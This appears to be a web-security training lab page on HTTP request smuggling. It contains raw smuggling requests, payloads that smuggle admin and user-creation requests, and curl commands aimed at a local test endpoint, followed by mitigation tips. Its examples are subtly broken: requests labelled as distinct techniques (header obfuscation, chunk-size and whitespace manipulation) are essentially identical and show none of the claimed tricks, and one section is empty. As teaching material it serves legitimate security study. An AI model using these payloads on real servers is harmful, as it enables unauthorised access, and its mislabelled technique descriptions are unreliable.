Lab 5: Advanced Bypass Techniques

Complex techniques to bypass modern protections

Difficulty: High

Lab Overview

This lab demonstrates advanced HTTP Request Smuggling techniques used to bypass modern protections and security controls. These techniques include header obfuscation, chunk size manipulation, whitespace manipulation, and other sophisticated bypass methods.

Objective: Use advanced bypass techniques to smuggle requests past modern security protections.

Advanced Bypass Techniques
// Advanced Bypass Techniques

// 1. Header Obfuscation
POST /5.php HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 3

0

SMUGGLED

// 2. Chunk Size Manipulation
POST /5.php HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 3

0

SMUGGLED

// 3. Whitespace Manipulation
POST /5.php HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 3

0

SMUGGLED

// 4. Multiple Transfer-Encoding Headers
POST /5.php HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Transfer-Encoding: identity
Content-Length: 3

0

SMUGGLED
Advanced Bypass Tester
Test Payloads:
  • 0\r\n\r\nSMUGGLED - Basic bypass
  • 0\r\n\r\nGET /admin HTTP/1.1\r\nHost: example.com\r\n\r\n - Admin access
  • 0\r\n\r\nPOST /api/users HTTP/1.1\r\nHost: example.com\r\nContent-Length: 10\r\n\r\nuser=admin - API access
Vulnerability Details
  • Type: HTTP Request Smuggling (Advanced Bypass)
  • Severity: Critical
  • Method: POST
  • Issue: Advanced bypass techniques for modern protections
Test Payloads

Try these payloads in the request body:

  • 0\r\n\r\nSMUGGLED
  • 0\r\n\r\nGET /admin HTTP/1.1\r\nHost: example.com\r\n\r\n
  • 0\r\n\r\nPOST /api/users HTTP/1.1\r\nHost: example.com\r\nContent-Length: 10\r\n\r\nuser=admin
Manual Testing with curl

Use these curl commands to test the vulnerability:

# Basic bypass curl -X POST http://localhost/test/http_rs/5.php \ -H "Transfer-Encoding: chunked" \ -H "Content-Length: 3" \ -d "0 SMUGGLED" # Header obfuscation curl -X POST http://localhost/test/http_rs/5.php \ -H "Transfer-Encoding: chunked" \ -H "Content-Length: 3" \ -d "0 SMUGGLED" # Multiple Transfer-Encoding headers curl -X POST http://localhost/test/http_rs/5.php \ -H "Transfer-Encoding: chunked" \ -H "Transfer-Encoding: identity" \ -H "Content-Length: 3" \ -d "0 SMUGGLED"
Real-World Attack Scenarios
Mitigation Strategies
  • Ensure consistent parsing between frontend and backend servers
  • Implement strict header validation and sanitization
  • Use reverse proxies that handle parsing consistently
  • Implement request validation and sanitization
  • Regular security testing and vulnerability assessments
  • Monitor for unusual request patterns and anomalies
  • Keep security controls updated and patched